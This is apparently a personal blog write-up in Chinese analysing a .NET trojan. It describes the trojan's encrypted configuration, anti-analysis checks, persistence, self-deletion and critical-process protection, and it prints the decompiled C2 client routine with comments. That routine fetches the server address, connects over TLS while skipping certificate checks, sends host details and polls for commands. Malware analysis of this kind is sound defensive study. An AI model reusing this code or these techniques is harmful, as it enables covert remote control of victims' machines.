5.13木马分析

image-20260513214405285

依旧找到主函数这个是net结构拖进dnspy分析由于混淆比较轻就没管(就是一些函数名取地比较混乱)

image-20260513214539382

这个是主函数分为三个部分字符解密验证,木马运行,c2连接

解密验证

主要是这个函数rShUJoWxIfULR.gsItUfYUAszz

image-20260513214930426

可以看见上面的gsItUfYUAsz是用来解密ip,端口地址的至于下面的xViGYhhkCyrTQ是用来验证签名的(主要逻辑是用解密的公钥来rsa解密的结果和上面数据同时hash对比)

然后来看看上面的解密逻辑

image-20260513215348024

可以看见这里使用了aes256的cbc模式和HMAC-SHA256来检验

木马运行

image-20260513215719995

这个是运行逻辑分别是先检查一个木马运行,反调试检测,持久化设计,禁止终止进程

image-20260513215928275

这里看到用互斥体来保持一个运行程序

image-20260513220043682

这个用来反调试分别是反虚拟机,反调试,,判断内存大小来反沙箱,反xp系统

接下来看持久化设计

image-20260513222041250

先是获取目标文件如果有久的程序久停止然后如果是管理员权限就打开cmd然后用任务计划来自启动

image-20260513223608665

没有权限就加入开机自启目录

image-20260513223707372

然后创造新的文件将旧的复制进去,再写一个bat文本并运行,它重启新文件再删除自己,最后隐藏木马

image-20260513224853737

他是用来关闭连接和删除程序的(当环境不对时)

这个是禁止终止进程

image-20260513224421561

主要先提升权限设置当前程序的重要程度当强制终止时就蓝屏

c2连接

image-20260513225213926

image-20260513225337914

第一个时用来关闭各种协议的,第二是连上服务器的关键但是内容比较多我用代码和注释来解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public static void mckAnMrPneuzxANr()
{
try
{
liiyJozWhQGcm.qTXVqOEKvPlptUhe = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 51200,
SendBufferSize = 51200
};//tcp建立
if (rShUJoWxIfULR.mJRpWzfYptlR == "null")
{
string text = rShUJoWxIfULR.IwnXSYzJgOVYTMj.Split(new char[] { ',' })[new Random().Next(rShUJoWxIfULR.IwnXSYzJgOVYTMj.Split(new char[] { ',' }).Length)];
int num = Convert.ToInt32(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug.Split(new char[] { ',' })[new Random().Next(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug.Split(new char[] { ',' }).Length)]);//ip地址,端口拆分
if (liiyJozWhQGcm.lGcTzSsFKfoycD(text))
{
foreach (IPAddress ipaddress in Dns.GetHostAddresses(text))
{
try
{
liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(ipaddress, num);
if (liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connected)
{
break;
}
}
catch
{
}
}
}
else
{
liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(text, num);
}
}//尝试用ip直连
else
{
using (WebClient webClient = new WebClient())
{
NetworkCredential networkCredential = new NetworkCredential("", "");
webClient.Credentials = networkCredential;
string[] array = webClient.DownloadString(rShUJoWxIfULR.mJRpWzfYptlR).Split(new string[] { ":" }, StringSplitOptions.None);
rShUJoWxIfULR.IwnXSYzJgOVYTMj = array[0];
rShUJoWxIfULR.eGvvAeHcGvsmgsOkug = array[new Random().Next(1, array.Length)];
liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(rShUJoWxIfULR.IwnXSYzJgOVYTMj, Convert.ToInt32(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug));
}
}//用名字链接来获取ip再联系服务器
if (liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connected)
{
liiyJozWhQGcm.sMTGUDsWLFW = true;
liiyJozWhQGcm.AYswsEOoIgyT = new SslStream(new NetworkStream(liiyJozWhQGcm.qTXVqOEKvPlptUhe, true), false, new RemoteCertificateValidationCallback(liiyJozWhQGcm.JZXSVHgewuqAOe)); //跳过ssl检验
liiyJozWhQGcm.AYswsEOoIgyT.AuthenticateAsClient(liiyJozWhQGcm.qTXVqOEKvPlptUhe.RemoteEndPoint.ToString().Split(new char[] { ':' })[0], null, SslProtocols.Tls, false);//tls加密
liiyJozWhQGcm.sEZsahAWzA = 4L;
liiyJozWhQGcm.usTxSbjkwLraBeu = new byte[liiyJozWhQGcm.sEZsahAWzA];
liiyJozWhQGcm.DMBgjrvDuLmnnF = 0L;
liiyJozWhQGcm.ALsFOGfDQIYEq(xzQgkqwNpJ.LXExWtOiUUtLe());//发送本机消息
liiyJozWhQGcm.ECWSXtkklGcnZ = 0;
liiyJozWhQGcm.fNRolwEdaLMWcm = false;
liiyJozWhQGcm.OcgqzeSEjnEmft = new Timer(new TimerCallback(liiyJozWhQGcm.NkXKBOZThWVSL), null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));//心跳包
liiyJozWhQGcm.jPdfsrWDTFIim = new Timer(new TimerCallback(liiyJozWhQGcm.sbzatzMGJdJdc), null, 1, 1);//持续接受命令
liiyJozWhQGcm.AYswsEOoIgyT.BeginRead(liiyJozWhQGcm.usTxSbjkwLraBeu, (int)liiyJozWhQGcm.DMBgjrvDuLmnnF, (int)liiyJozWhQGcm.sEZsahAWzA, new AsyncCallback(liiyJozWhQGcm.GOShPGzCCNbAE), null);//接受命令
}
else
{
liiyJozWhQGcm.sMTGUDsWLFW = false;
}
}
catch
{
liiyJozWhQGcm.sMTGUDsWLFW = false;
}
}

结语:这个木马就分析完但是解密和流量分析都还没做有空做一下